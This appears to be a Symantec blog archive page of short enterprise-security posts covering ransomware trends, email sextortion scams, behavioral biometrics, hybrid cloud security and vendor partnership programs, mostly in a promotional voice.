“Most of the time, kids and teenagers enjoy playing games,” said Christian Jehoshaphat Suryo a member of Beyond Zero. “So that is our way to help and educate our peers about these kinds of things interactively”.
The Bolivian Cultura Marraqueta team created a game that educates users about the importance of the correct use of social media with special attention to cyber crime related to data security.
Meanwhile the Hidden Colors squad representing the United States developed an educational crime location app with news and information about human trafficking and how to prevent. The app also included personal stories as well as local updated news related to trafficking in the San Francisco bay area.
“I have been to a lot of hackathons with students all over the world and they are very innovative,” said Eileen Brewer, Director of Program Management at Symantec. “It’s a great opportunity to talk to them about the employment opportunities for diversity around the world and we really like the ideas that come from everyone.”
As the teams completed their projects and presented their ideas, all participants showed immense interests in solving these problems with an eye towards the future. Watching the teams go about their tasks, one could see their energy and eagerness to share ideas as they got to know the members of the other students from the different countries. All in all, it was a welcome reminder that another generation of brilliant young minds is waiting in the wings to contribute to the future of the tech industry.
#Hack4Justice Hackathon
|
The Oncoming Cyber Storm
Criminals and hacking groups backed by nation-states are smart, savvy and sophisticated in their use of technology to inflict widespread damage. Winter is here.
It’s been a long time since I actually mused on who is responsible for the recurrent waves of cyber crime that plague modern businesses and unsuspecting consumers. In fact, for the longest time, I actively didn’t think about it. Consigning it to the bucket of ‘how undesirables make money’, it meant I had more mental cycles available for the real work – specifically, continuing to think creatively about how to use the tools we security professionals have to maximum effect.
But then I do keep going back to the Hacking Team breach of 2015. If you haven’t checked out the specifics, then take a look at the exact anatomy of the attack. Effectively, judging the Hacking Team as deserving of attention, a lone hacker named Phineas Fisher compromised their systems and published over 400Gb of data, including proprietary source code. The sophistication of the attack, coupled with the measured and surgical way it was conducted, made it clear to me again that we are faced with adversaries who have vast resources and incredible skills at hand.
Similarly, going back to the early days of the Dark Web, most of the items on offer on The Silk Road are still available if you know where and how to look. Representing this as ‘expected frictional crime’ does not properly convey the sheer bare-faced criminality involved. If we examine just these types of trafficking in illegal commodities, then we might be tempted to believe that the pimps, pushers and knee cappers of yore had come of age and learned tech.
But then, what about attacks like the ones on Sony in 2011? Not only hugely sophisticated, multi-faceted and including some incredible counter-measures, but devastatingly effective. These are highly evolved, logistical operations commandeered by project management talent that the private sector would pay a premium for. Of course, enforcement for late delivery probably involves physical violence rather than change control requests, and this does tend to focus the mind.
Moving from that to nation-state sponsored operations, leveraging the sorts of tools that were surfaced when The Shadow Brokers pilfered the NSA networks. I’m specifically minded of the J-20 stealth jet that was unveiled on a Chinese runway long before ostensibly the same machine was revealed on an American one. The scale, detail, difficulty and logistics associated with not only stealing the plans, but selling them to a suitably equipped bidder still staggers me, no matter how often I hear of attacks of such audacity.
I come back repeatedly to the fact that regardless of my opinion as to how these people make their money, they are a rare breed with undeniable skill. After 25 years in IT my estimate would be that there are probably less than 1,000 truly elite hackers on the planet.
Witness the specifics of the Hacking Team breach for a detailed breakdown of the types of capabilities that a lone hacker needs to breach the best-protected network. These are people who have master level skills in ALL aspects of IT, from database operations to application architectures through networking and firmware engineering. The fact that ATP groups are carefully segmented by competence augments their impact, offering individuals the chance to focus on social engineering, coding, reconnaissance or monetization of stolen content.
It is incumbent on all security professionals to remember this fact. If we are not passionate about taking the war to these individuals, we should change jobs. If we underestimate them, we miss a multitude of potential loopholes. Most importantly, if we lose sight of who funds them, we are fools.
This is a junction where the highest technology meets the most unashamed criminality, and we are in the middle of the battlefield.
|
The Problems With Cloud Only
Rushing to the cloud - A look back
Henry Ford famously allowed customers to buy a Model T in any color that they wanted, as long as it was black. It seems like security vendors are giving customers a similar choice, only offering a cloud-based solution. Is this the right approach?
All customers are not alike, each requires their own path to the cloud. Those that are more risk averse need on-premises, cloud or hybrid deployment options – no surprise! I sat down with Rob Greer, GM of Symantec by Broadcom to get his thoughts on how some vendors are changing their stories about “cloud only” and how Symantec has always supported our customers’ choice.
Nate Fitzgerald: For many customers, the last three years have been a bit of a “land run” to get to the cloud at any cost. How has Symantec evolved over that time to address these needs and help customers make the move?
Rob Greer: Symantec went through our own cloud transformation. Just over 3 years ago we completed a project to move our cloud infrastructure from traditional colo data centers to Google Cloud. It gave us a powerful new tool to improve customer outcomes. For example, we can add capacity in a few hours. In colo, it takes several weeks to a few months to do the same thing. When we rolled out our “Dedicated IPs” feature, we did it in a few days, instead of over the several months as required by most of our competitors when running out of colo-based PoPs. We can add a million users of capacity to the Symantec Cloud quicker than our competitors can cut a PO for more servers. Cloud is really good at situations where capacity needs are unknown, one day to the next.
Nate: What are customers saying about their transition to the cloud, and what are their perceived challenges? What keeps them up at night?
Rob: I’m hearing a few common themes: First, the transition is “not as easy as other vendors claimed.” Second, many companies are second-guessing their cloud strategies across the board because of cost. Third, most enterprises discover new critical needs during their migration, leading to urgent feature requests, or last-minute vendor changes. Finally, many are realizing that a phased, hybrid approach is the best option for them. Simply going to the cloud because it’s possible to move to the cloud does not always make sense. Some large, relatively static workloads are better handled with a hybrid approach, for now.
Nate: Why do you think these themes are so common?
Rob: These large enterprises are, “unwinding” decades of network and security infrastructure decisions, tech debt, and complexity. It’s a lot like moving to a new house. It’s always more work than you imagined. You find things you had forgotten about years ago. With each surprise, you have to decide whether to keep it the way it is, move it to the cloud, or throw it out. We seek out these use cases and help customers make the best decision and then execute. Sometimes that’s us delivering a new feature in the cloud, sometimes it’s best practices guidance.
Nate: What are the limitations customers raise about a pure cloud transition?
Rob: Some customers realize that moving to the cloud just to say “we’ve moved to the cloud” isn’t the right approach. Some workloads just don’t make sense to move. For example, a customer with a 15 gigabit on-premises server workload wanted our opinion on how to handle a possible move: Cloud vs on-prem. We told that customer that while they could send it to the cloud, the effort required to get it there wouldn’t be worth it. The more practical solution was to simply handle it with our Edge Proxy capability. On-prem isn’t considered “sexy” right now, but in this case, it was the right answer. We also see cases that require on-premises inspection for regulatory or internal compliance reasons.
Nate: What have other vendors done to respond to their needs?
Rob: The idea of accepting a less flexible, less informative solution isn’t playing out for customers, and other vendors are realizing this. Some vendors have been oversimplifying or overselling their pure cloud solutions, but customers are demanding the right solution, rather than a “our cloud security fits all” approach. Some vendors are changing their strategies. A “born in the cloud” or an “all-cloud/only-cloud” strategy has quietly changed to offering on-premise solutions to meet these needs. Notably, one vendor, famous for ceremonially smashing appliances at trade shows, recently introduced…an appliance.
Nate: What has been Symantec's strategy to help customers solve these issues?
Rob: We have always developed solutions driven to solve customers’ unique needs. This includes a cloud-native Secure Web Gateway that also supports on-premises use cases, delivered more than a decade ago. We allow a truly hybrid architecture to drive the outcomes our customers expect, not just check-box features. In addition, offering a single agent that handles all cloud use cases (and optionally endpoint protection as well) helps those customers reduce sprawl on the endpoint and support network and DLP security. We’ve simplified our network security solutions by allowing customers the flexibility to deploy cloud and on-premises as a single license, without sacrificing security and visibility. Mix and match on-prem and cloud on-the-fly without having to renegotiate. Other vendors are now validating this strategy by developing their own on-premises footprints while downplaying their years of rhetoric calling for an end to those strategies. It’s really enjoyable seeing those vendors validate what we have been doing all along. I get a good laugh out of it.
Nate: What recommendations would you have for customers as they move to the cloud?
Rob: In the short term, organizations should focus on realistic security results that have minimal impact on business operations using what they have. In the long term, they should partner with security vendors that can help them move to the cloud but still deliver the needed outcomes to their unique challenges, without sacrificing security – Don’t move to the cloud just because others claim that’s what you must do. Transitioning to the cloud at a comfortable pace that allows a safe and methodical approach should be the path for any organization.
For more information on Symantec’s cloud journey see Driving the Future of Security Innovation.
|
The Quiet Revolution Spurred by Behavioral Biometrics
A promising technology is rapidly gaining adherents, a trend with ramifications for business and cyber security
It’s one thing to predict a tipping point, another to mark it in retrospect. And then there’s a third prospect – to watch as it actually goes full tilt. Such is the case for an old-but-new branch of biometric technology known as “behavioral biometrics.”
This technology is beginning to assert itself across banking, finance, ecommerce, and a multitude of other industries. As it does, experts expect it will have major ramifications for cyber security, personalization and marketing, and, of course, privacy.
At its core, behavioral biometrics is a technology capable of monitoring a single user’s unique “micro-habits.” In some cases, it is reportedly capable of tracking as many as 2,000 different interactive ticks, gestures, and movements -- per individual user -- across mobile devices, wearables, and desktop computer.
Unlike such static authentication measures as fingerprint, facial, voice, and iris recognition, behavioral biometrics are persistent. The longer they’re in place the more accurate they become – up to 99%.
What’s more, they’re passive, requiring nothing from the user, who remains unaware they’re even being tracked. For example, no capcha gotchas – like picking squares with street signs in them. Behavioral biometrics offer a security free of consumer-despising inconveniences of other methods such as two-factor (2FA) and multi-factor authentication (MFA).
Last year, market analyst of C. Maxine Most of Acuity Market Intelligence predicted 2017 would be a “breakout year” for behavioral biometrics. Similarly, Mercator Advisory Group said in a report that the proliferation of behavioral biometrics’ would occur swiftly and broadly enough to “decimate much of the existing authentication industry” within the next 7 years.
A much-circulated market research forecast claims “hockey stick” adoption from here to 2023 – with behavioral-biometrics-related hardware, software, and services leaping ahead at 24% growth rates to become a $2.6 billion market.
Behavioral biometrics offer a security free of consumer-despising inconveniences of other methods such as two-factor (2FA) and multi-factor authentication (MFA).
Many companies, especially in banking and finance, have deployed behavioral biometrics to some extent or another. Most companies decline to talk about their implementations. But a few have discussed their own adoptions, including NatWest, Experian, Mastercard, Royal Bank of Scotland, Lloyds Banking Group, and Deutshe Bank.
“Behavioral biometrics has been showing great promise,” says Mingliang Pei, the CTO for Identity and IoT at Symantec, which has been piloting a few of its own efforts in the area. “In the last two or three years, there’s been a lot of innovation.”
It’s not that behavioral biometrics represent a spanking new technology. In one of its earliest manifestations, telegraph operators were identified by the invariably unique way they delivered dots and dashes. Software has been capable of tracking keystrokes for decades. But at least three main advances are spiriting behavioral biometrics to a new plateau at the forefront of cyber security technologies.
They are:
1. Smartphones. Their accelerometers, gyroscopes, and pressure-sensitive touchscreens have become the source of unique identifiers, such as a user’s gait and even the angle at which they habitually hold a device. Indeed, Mentor predicts that 93% of all users will be using such capable devices in their hands by 2022.
2. AI and Machine Learning. The increase in computing power is making way for ever more powerful algorithms to reside at the device level. According to a report by the International Biometrics Identity Association, there’s something entirely unique about behavioral biometrics: While AI and Machine Learning most often mimic human judgment, they do what no human can when it comes to instantaneously tracking and assessing human behavior at the micro-habit level for millions of users at a time.
3. Cloud-computing. It has allowed companies to store behavioral data and use it as a way to compare, contrast, and pinpoint the most telling types of behavior across vast populations of users to improve accuracy to unquestionable levels. The cloud has also opened the door to behavioral biometrics as a service, which, in turn, means far faster adoption. Ryan Wilk, a VP at Mastercard-owned NuData Security, says the connection to its parent gives it access to some 400 billion transactions a year.
Fueled by these combined forces, behavioral biometrics are verging into mainstream uses, some expected and others not so much. They include:
Authentication. The dark web is, of course, hard at work using those purloined identities from victim companies. They employ software “bots” to spoof and scale their efforts at opening fake credit accounts. Some use human mills. With behavioral biometrics, however, target companies are able to discern whether it’s a human or a bot. They can also tell if an applicant is a human repeatedly applying. What’s more, software can now include behavioral tests in the engagement flow, such as a suddenly disappearing cursor that requires an identifying mouse movement.
Insider threats. Behavioral activity can raise the alarms on a rogue employee, who is tracked suddenly downloading more documents than before.
Personalization. This is among the newest and seminal uses of behavioral biometrics. For instance, Vancouver-based NuData claims its software can be used to make for a better online banking experience, based on a risk involved. If a customer wants to transfer $1,000, they have to satisfy a lower biometric authentication process than if they want to transfer $10,000. For a bank’s best customers, it’s a win-win: The bank can quickly approve the lower amount, and the customer gets their money faster.
Biometric-based marketing. If banks are able to streamline the online customer experience, it’s not hard to foresee other such similar use elsewhere. For example, it could become a tool for CMOs so that on-the-fly offers can be customized get customized based on your identity – and anything that can be interpolated from your behaviors. Example: The speed and length of your stride could mark you as a serious runner ripe for offers for premium shoes and attire.
For instance, Acuity’s Most noted that the advantage of what she calls “do-nothing” behavioral biometrics stems from the fact that they work silently and invisibly. As of now, organizations that deploy the technology aren’t obliged to disclose its uses, functions, or what they harvest.
That shouldn’t present major obstacles. As the technology becomes more mainstream, these and other sundry questions will surely get debated and settled, paving the way for more companies to take advantage of behavioral biometrics to deploy cutting-edge solutions. Looking over the horizon, this much is clear: companies and their customers across a wide spectrum of industry sectors can anticipate a safer world in which they’ll be at least one step ahead of the bad guys -- without suffering at the expense of those things they can’t yet see.
|
The Ransomware Threat in 2021
New research from Symantec finds that organizations face an unprecedented level of danger from targeted ransomware attacks as the number of adversaries multiply alongside an increased sophistication in tactics.
For the last number of years, targeted ransomware has been one of the main cyber risks for businesses and other large organizations. However, as outlined in a new whitepaper from the Symantec Threat Hunter Team, a part of Broadcom Software, the past twelve months have seen ransomware attackers become more aggressive, finding more ways to increase the reach of their attacks, and becoming more ambitious by mounting a number of audacious and highly disruptive attacks.
The attack against Colonial Pipeline in the U.S. in May 2021 caused significant disruption and prompted concerns about the nation’s fuel supplies. In the same month, an attack on Ireland’s national health service, the Health Service Executive, forced it to cancel thousands of appointments and initiate a recovery operation that is only now concluding.
Figure 1. Number of organizations affected by targeted ransomware attacks, January 2020 to June 2021
While the overall levels of ransomware activity have fallen, this is accounted for by the decline of mass-mailing, indiscriminate ransomware attacks. Of greater concern is that the number of organizations confirmed as affected by targeted ransomware attacks increased by up by 83% over the past 18 months, from 81 in January 2020 to 148 in June 2021.
The real number of targeted ransomware attacks is much higher. Confirmed attacks from known targeted ransomware families are probably only a representative sample of the overall number of attacks involving these threats. Many targeted ransomware attacks are halted before payload deployment, meaning they may not be identified as ransomware. In addition, most targeted ransomware operators recompile their ransomware for every new attack. This means that the variant of the ransomware used in an attack may be blocked by generic or machine learning-generated detections rather than a detection linked to that ransomware family.
Alongside this increase in activity levels, the ransomware threat landscape has become more complex and sophisticated and a number of new developments have compounded the threat for organizations.
The rise of ransomware-as-a-service
Although ransomware-as-a-service (RaaS) is not a new concept, the RaaS marketplace has evolved significantly over the past year. The basic template currently involves ransomware authors offering access to the ransomware itself, hosting for breached data, and handling of ransom negotiations. In some cases, it has been reported that ransomware developers provide an entire playbook for affiliates.
However, some ransomware affiliates now appear to be becoming less reliant on ransomware authors. While affiliates have long been known to migrate to other ransomware developers if the developer they were working with shuts down, many are now using their own distinct tools, tactics, and procedures (TTPs) regardless of the payload they are deploying. Some affiliates now appear to be simultaneously collaborating with more than one ransomware author. Symantec Threat Hunter Team has observed affiliates using two different strains of ransomware in a very short space of time and, in some cases, during the same attack.
Botnet collaboration
Over the past 12 months, secondary infections, usually via botnets, have become one of the most prevalent means of access for ransomware groups. Trojans that were once used for financial fraud, such as Trickbot, have recently been repurposed mainly as distribution channels for other malware, most notably ransomware.
In some cases, ransomware attackers already control the botnets, such as the Miner group (aka Wizard Spider), which owns the Trickbot botnet. Trickbot has been seen as a precursor to attacks by Ryuk, which is also attributed to Miner. Similarly, Hispid (aka Evil Corp) have leveraged their own Dridex botnet, which was originally built to mount financial attacks, to give them a means of delivering the ransomware to organizations.
Other actors have since attempted to replicate this attack pattern, seeking collaborations with established botnet operators. The most notable of these is the use of IcedID by at least one affiliate operator of the Conti ransomware.
Unprecedented threat
The profusion of groups carrying out targeted ransomware attacks combined with the evolution of the RaaS marketplace now means that targeted ransomware poses a grave threat to organizations. Although ransomware gangs have attracted significant government and law enforcement attention in recent months, multi-million dollar ransom payments mean that most threat actors remain undeterred.
Further Reading
For more information, read our whitepaper:
Symantec Enterprise Blogs
The Ransomware Threat
DOWNLOAD RANSOMWARE PAPER NOW
|
The Ransomware Threat Landscape: What to Expect in 2022
Targeted ransomware continues to grow as TTPs evolve and new threat actors emerge
Ransomware continued to be the most significant cyber threat facing enterprises during 2021. While ransomware gangs are currently experiencing a period of turmoil and disruption, there is no guarantee that the threat posed by ransomware will abate in 2022, since similar disruptions in the past were usually followed by the emergence of new threats.
According to a new whitepaper published by the Symantec Threat Hunter team, part of Broadcom Software, targeted ransomware attacks continued to trend upwards in 2021, almost trebling between the first and final quarters of the year.
New Threats
One of the main developments during 2021 was the disappearance of established threat actors and the emergence of new groups to take their place. Of the major ransomware threats operating at the beginning of 2021, only Conti continued to remain active at year end.
During 2021, a number of high-profile ransomware operations disappeared. These included Leafroller (aka Sodinokibi, REvil), Coreid (Darkside and Blackmatter), and Avaddon.
However, a number of new actors have emerged to take their place. LockBit expanded rapidly following the departure of some of its rivals, while several new threats such as Pinion (Hive) and Sirex (AvosLocker) became quite active.
|
There Are No Heroes: The Industry-Wide Move to Integrated Cyber Defense
The march towards open, integrated security systems is gaining serious momentum
A few weeks ago, Time magazine interviewed Bill Gates about a new book by the late Hans Rosling, Factfulness: Ten Reasons Why We’re Wrong About the World—and Why Things Are Better Than You Think). The legendary tech icon and philanthropist called Rosling’s book one of the most important he’s ever read. At one point in the interview, Gates reflected that not only do humans rush to assign blame, but “our instinct to turn people into heroes can also be a barrier to progress.”
I think the same is true for the cyber security industry. It is no exaggeration to say that we are in the midst of an existential battle against a host of malicious adversaries. And so, we tend to look for heroes, too. But too often, our heroes have been products rather than people. We’ve seen a new technology or product as that elusive “cyber silver bullet” that will slay the vampire, once and for all. But we all know it never works out that way.
The good news? The industry has largely come to its senses, and the march towards open, integrated systems is now, in my opinion, unstoppable. That’s what Symantec’s Integrated Cyber Defense platform is all about—unifying cloud and on-premises security to protect against threats and safeguard information across every control point and attack vector. Gates could just as easily have been talking about cyber security when he said, “We miss the progress that’s happening right in front of us when we look for heroes instead of systems. If you want to improve something, look for ways to build better systems.”
Of course, “hero products” are just one part of a multi-faceted problem. Bigger picture, the move to the Cloud has opened up so many incredible possibilities for businesses and end users alike, but it has also turned enterprise cyber security on its head. No more perimeter, data anywhere and everywhere, new control points (which bad guys view as new places to break in) to manage and secure. These seismic shifts—together with “point-product mania”—created multiple fissures in enterprise protections, and our adversaries rushed into the breach.
“We miss the progress that’s happening right in front of us when we look for heroes instead of systems. If you want to improve something, look for ways to build better systems.”
Cyber Security As Team Sport
A 2016 research project with cyber security and IT professionals conducted by ESG (Enterprise Strategy Group) and the Information Systems Security Association (ISSA) revealed that with the widespread industry skills shortage, many cyber security staffs simply don’t have the time to learn the nuances of the security technologies they purchase. That means these technologies are rarely used to their full potential.
More specifically, the survey revealed the industry’s turn towards integration, with 81% of survey respondents agreeing with the statement, "Cyber security product integration has become an important consideration of our security procurement criteria,” and 78% agreeing that "the security products my organization buys are regularly qualified on their integration capabilities."
As ESG analyst Jon Oltsik is known to opine, “security is a team sport.” Now more than ever, our customers depend upon us working together for their common good.
An Update on Symantec’s Technology Integration Partner Program (TIPP)
In June 2017, we officially announced the new Symantec Technology Integration Partner Program (#TIPP), with the aim of creating the largest and broadest technology partner eco-system in cyber security. We articulated a few simple, overarching principles to guide the program:
Open. No more proprietary systems. Symantec is now, quite literally, “open for business.” All are welcome to work with us.
Agile. We must create a system that collectively moves faster than the bad guys.
High-value. We set a high-bar for integration partners, looking deliver a powerful force multiplier effect when combined with our platform
Our view was, and remains, that it’s critical that cyber security systems share data and context about what they know, what has been blocked and why, what they have detected as suspicious and so on. The Symantec Integrated Cyber Defense platform, together with TIPP, sets up this framework.
As we near the first anniversary of TIPP, I continue to be blown away by the industry response to the “call for integration.” More than 600 cyber security technology vendors—by my rough math, perhaps a third of the industry—have approached Symantec to be official TIPP partners. We have conducted deep integration with more than 100 of those companies, all with an aim to get to help our customer protect, respond and remediate substantially faster. Take a look here for the latest interactive map of all internal and external partner technology integrations achieved through the TIPP program.
In the broader world of IT, companies have long navigated the complex maze of “coopetition,” partnering where critical for customer ease and convenience while differentiating on unique capabilities and IP.
Cyber Security is no different—except in one critical regard. When it comes to cyber security, the stakes couldn’t be higher. It’s not about ease or convenience—it’s about neutralizing potentially devastating attacks that can literally bring a company down.
Watch for much more to come from Symantec in the coming months, as we introduce many new partnerships and integrations designed to help the modern enterprise thwart today’s sophisticated threats and an increasingly determined force of cyber criminals.
Click Here to learn more about Symantec's Technology Integration Partner Program (TIPP)
|
The Revival and Rise of Email Extortion Scams
Almost 300 million extortion scam emails were blocked by Symantec in the first five months of 2019.
An email arrives in your inbox, with one of your old passwords in the Subject line. Your curiosity is piqued, and you click into the message, only to discover that someone has allegedly hacked your webcam and recorded you engaged in some intimate acts, and they are now threatening to send this recording to everyone in your contact list. However, if you send the anonymous blackmailer a few hundred dollars in bitcoins they promise that no one will see the embarrassing footage.
This is a situation many people found themselves in over the last year, as we witnessed a revival and evolution in email extortion scams, which are exactly what they sound like: scam emails that attempt to extort cash from victims. These sorts of scams have been around for many years, but the scenario outlined above—often referred to as a "sextortion" scam—is one of the main types of extortion scams we have started seeing more frequently again since about mid-2018.
When we look at the number of these kinds of scams that have been blocked by Symantec since the start of this year, we can see the trend is going upwards, with a spike visible during a two-week period in February especially notable.
Figure 1. Extortion scam emails blocked by Symantec between January and May 2019
Between January 1 and May 29, 2019, just under 289 million of these types of emails were blocked by Symantec technologies. Just over 85 million of these emails (almost 30 percent) were blocked during this 17-day period in February when we saw a big spike in these types of scams. We didn’t just see a surge in one particular type of scam in this period, but a surge in a few different variations of extortion scam emails, including:
English language: Plaintext, no URL in body
Bomb threat theme
Using PNG and JPEG images: Email has a PNG or JPEG attachment, which contains the Bitcoin wallet address
Using PDF attachment: Coin wallet address present in the PDF
Use of SegWit Bitcoin address
How these scams work
Most of these sextortion-style scams follow largely the same pattern, with variations in the messages such as using attachments or obfuscated characters, etc., applied in an attempt by attackers to evade email protection technologies. For example, some spam filters might work by blocking emails with Bitcoin addresses in the body—hence why attackers may have then turned to using PDF attachments or obfuscated text to try to bypass the spam filter.
Most of these emails also contain a password or partial phone number previously (or perhaps still) associated with the email address the email is sent to. This is included to make it appear the attacker has access to private information about the recipient—when in fact they almost certainly obtained it from one of the many large password dumps of recent years.
In most of these scam emails, the attacker claims to have a recording of you visiting a porn website, though in some cases the attacker pretends to be a member of law enforcement who has found child pornography on your device.
Figure 2. Example of a typical "sextortion" email, with Bitcoin wallet address in body
The big exception to this is the bomb scare emails, where the sender claims to have planted a bomb in your building that will be triggered if the requested amount of money is not paid.
Figure 3. Example of a "bomb scare" email
Some of the typical characteristics and features we have seen in these spam emails are outlined in the table below.
Table 1. Typical characteristics and features of extortion scam emails
Typical Characteristics Email type variations Obfuscation techniques seen Cryptocurrencies requested
Email contains an old password/partial phone number associated with target account – likely swiped from a data dump English language – plain text, coin wallet address in email body Use of obfuscated and encoded characters Bitcoin
Threatening tone – threaten to embarrass/expose you to family and friends Foreign language – 13 different languages seen by Symantec (Chinese, Bosnian, German, Japanese, Italian, Spanish, Dutch, Russian, Korean, Swedish, Norwegian, French, Latvian) Use of zero-width space (ZWSP) between letters Litecoin
Sense of urgency – 24-48 hours to pay up – from hundreds to thousands of dollars requested JPEG/PNG/PDF attachment – wallet address in attachment Use of Cyrillic UTF characters SegWit Bitcoin
Most follow a similar template (see Figure 2) URL in body – claims link shows proof scammer has your info Use of online clipboard – link in email brings victims to online clipboard with details of scam SegWit Litecoin
Many English-language emails have poor spelling, unusual phrasing Bomb threat theme (see Figure 3)
ZIP attachment – claims attachment contains proof scammer has your info
Are these scams successful?
When it comes to the success of these scams, if we examine the 5,000 most-seen Bitcoin addresses in May, we can see that 63 of those wallets received bitcoins in 243 transactions. In total, the wallets received 12.8 bitcoins in that period—at the end of May one bitcoin was worth approximately US$8,300, meaning these wallets received a total of approximately US$106,240. If we take that as an average amount to make in a 30-day period for these kinds of scams, it means they are making just over US$1.2 million in a year ($1,292,586). For the amount of effort and skill that is required to carry out these scams, it represents a pretty good return on investment.
Almost all these wallets had been cleared out when we examined them at the end of May—it appears the criminals involved are not leaving any funds in these wallets for too long.
Who is behind these scams?
These scams don’t appear to be targeted—they are sent out as part of automated mass-mailing campaigns, seemingly using email and password combinations found in the many data dumps of recent years. The Necurs botnet was even reportedly being used to send these scams at one point. Some of these scams were reportedly also being used to spread the now-apparently-retired GandCrab ransomware, giving cyber criminals two chances to scam victims out of money.
As these email extortion scams are typical cyber crime activity, it is not clear exactly who is behind these attacks, but Symantec believes that a minimum of two cyber crime groups are engaged in this kind of activity, though there are potentially also many others. The barriers to entry for criminals are quite low for these scams—they do not necessarily require a huge degree of technical knowledge, and criminals only need a small percentage of them to be successful to make a profit.
These scams are still being actively sent, so consumers should be aware of these scams and the steps they can take to avoid falling victim to them.
Best practices
Ensure you have strong email protection technologies in place, such as the products provided by Symantec, that will stop these emails from ever reaching your inbox.
Do not open emails or attachments, or click on links in emails, that are unsolicited or from unknown sources.
If you do receive one of these emails, do not panic, do not respond, do not click any links or open any attachments, and do not send money to the attackers. Mark the email as spam and, if you feel it is necessary, alert authorities about the email.
Ensure all your online accounts are protected with strong, unique passwords, and enable two-factor authentication where possible. If you think your account has been compromised or your password revealed in a password dump, you should change it immediately.
Protection
Symantec proactively protects against email extortion scams with its email security suite of products:
Email Security.cloud
Symantec Messaging Gateway
|
The Risks of Your Cloud Collaborations
New tools are creating new, unexpected risks. DLP can help.
The use of cloud-based tools in software development continues to increase. So do the risks of data leakage from these tools. API keys, passwords and digital certificates have all been lost. And each new tool that is introduced to software development creates new forms of risk. The use of ChatGPT in software development is just one example.
The adoption of these tools will, and no doubt should grow. But it's crucial to acknowledge that the problem will persist and to address it. In response to these evolving threats, Symantec DLP emerges as a robust solution for protection.
Be Smart - Protect code against collaboration mishaps
With Symantec DLP, customers can access available protection against accidental data loss of source code and access tokens. DLP enhanced existing capabilities and added new out-of-the-box data identifiers to detect SaaS / IaaS application API keys and secrets, access tokens, database connection strings, and private keys for certificates.
We are committed to the constant addition of protection capabilities to identify PII and Source code. One example of how Symantec is able to quickly bring meaningful innovation in the DLP space is DLP Innovation Labs. Through this we can give customers access to pre-released detection capabilities in order to test it against real world scenarios.
This is one of the main features available in DLP 16.0.1 (RU). For more information, refer to What's New in DLP 16.0.1
|
The Role and Benefits of a Hybrid Approach to Secure Web Gateway (SWG)
A hybrid approach allows organizations to make their journey to the cloud at their own pace
At Symantec, a division of Broadcom, securing the future of the enterprise is not a binary choice. Although many organizations are under pressure to think so, it is not a matter of either “only on-premises” or “all-in” with cloud. The reality is that the migration to a cloud-based future is a spectrum that every enterprise is on. It is not just a one-time event, it’s a journey.
It has become almost cliché to call out that the pandemic is accelerating digital transformation. Driving much of that momentum is a shift to remote work so profound it turned the world upside down. Now that shift is showing every sign of becoming permanent. A recent survey by ESG Research confirms that more than 70 percent of organizations are now in favor of supporting work from home for at least some of their employees.
The reality is that the migration to a cloud-based future is a spectrum that every enterprise is on. It is not just a one-time event, it’s a journey.
At the same time, however, that same ESG report reveals that nearly half of all organizations would like to continue using their office locations on a hybrid basis. The challenge for these organizations is how to secure and manage both office and remote work locations while moving forward with digital transformation. Adding to the pressure is a near-incessant drumbeat from cloud vendors calling on them to move ever faster with their cloud strategies.
It’s not a binary choice between office and work from home. It’s not an either/or scenario.
Moving to SASE
“Whether due to compliance concerns, network complexity, or simply preference,” says ESG Senior Analyst, John Grady, in a recent ESG White Paper entitled, The Role of a Hybrid Approach on the Journey to a Cloud-delivered Secure Web Gateway, “many organizations will continue to manage on-premises secure web gateways as part of a hybrid approach, while progressing to the cloud over time.” This requires the associated network and security infrastructure to support their office locations and workers.
The dilemma is that there are challenges with network security tools in hybrid environments that can make doing both these things too quickly a recipe for disaster. Among these issues are:
Inconsistent management across physical, cloud or virtual environments.
Performance issues that negatively impact the user experience.
Too many disparate tools.
Implementation and management complexity
Lack of scalability as the solutions have problems keeping up with the pace and rate of change.
The need to address these challenges is why the pendulum is swinging towards the new vision for network security called Secure Access Service Edge (SASE). SASE is a comprehensive architecture for network security based on the principles of Zero Trust. It calls for a convergence of the network security services and infrastructure for on-premises, cloud, and edge architectures into one single, cloud-delivered service model.
But just as the work environment is not a binary choice, the journey to SASE is also not an either/or scenario.
No Security Tool Operates in a Silo
Despite the accelerating migration to cloud, a majority of organizations are looking for a solution that offers options. Nearly 70 percent of enterprises surveyed in the ESG report anticipated that half or fewer of their network security tools will be cloud-delivered. A third of the organizations surveyed went further to rank support for hybrid architectures as one of the top three attributes of SASE.
What the vast majority of enterprises are coming to realize is that digital transformation is a multi-year process. Move too quickly and the pain may very well exceed a temporary gain. A “lift and shift” scenario is just not that easy.
No security tool operates in a silo and secure web gateways are no exception. Many integrate with 3rd party vendor solutions. Reconstructing those integrations is a heavy lift and may include such critical enterprise security tools as:
Advanced Threat Protection, Data Loss Prevention (DLP)
Sandboxing
Intelligence Services
Cloud Access Security Broker (CASB)
Network Detection and Response (NDR)
As well as the necessity to adhere to new compliance rules and regulations surrounding data privacy and protection and sovereignty that are easier to comply with using on-premises tools than cloud-based.
Hybrid Solution Best Practices
A hybrid solution, such as that offered by Symantec Web Protection Suite, allows organizations to integrate different on-prem appliances, virtual appliances, cloud-delivered and SaaS components, and provide the capability to scale with the organization as needs change. This best practices hybrid solution includes:
Industry-leading proxy-based secure web gateway (on prem or in the cloud)
Centralized management and reporting and support analytics
Broad, consistent functionality with advanced capabilities such as dynamic sandboxing and web browser isolation to protect against “zero day” threats.
Flexibility to allow organizations to migrate to cloud at the pace that’s right for them with subscriptions that are transferable from hardware on-prem to SaaS deployments and cloud licenses for all employees.
A hybrid approach from a single vendor can support you on your journey to cloud and to a comprehensive SASE network security future at the pace that’s right for your organization. Remember it is a journey and one Symantec is prepared to make with you.
File Attachments
Download ESG Whitepaper NowPDF362.45 KB
|
The Role of Symantec Privileged Access Management
A Conversation with KuppingerCole Analyst Paul Fisher
As we move into 2021, we can take a sigh of relief that 2020 is safely behind us and hope that the new year brings us closer to normalcy. But one thing that has not changed in the past year is the importance of Privileged Access Management (PAM). As we witnessed in the Solar Winds attack, hackers will go to extraordinary lengths to gain access to privileged credentials and accounts because they hold the “keys to the kingdom.”
Without proper security for access controls, one compromised privileged account can cause widespread and irreparable damage to your infrastructure, intellectual property, and brand equity. To reduce this risk, all privileged credentials and access, needs to be effectively identified and managed across the enterprise.
This was the topic of conversation recently between Paul Fisher, Senior Analyst at KuppingerCole, and Jim Taylor, Head of Product Management, Symantec Identity Management Security as a division of Broadcom. Their discussion centered on:
Privileged credentials and access and their role in preventing a Solar Winds type attack
How PAM fits into a Zero Trust Model
The role of PAM in DevOps
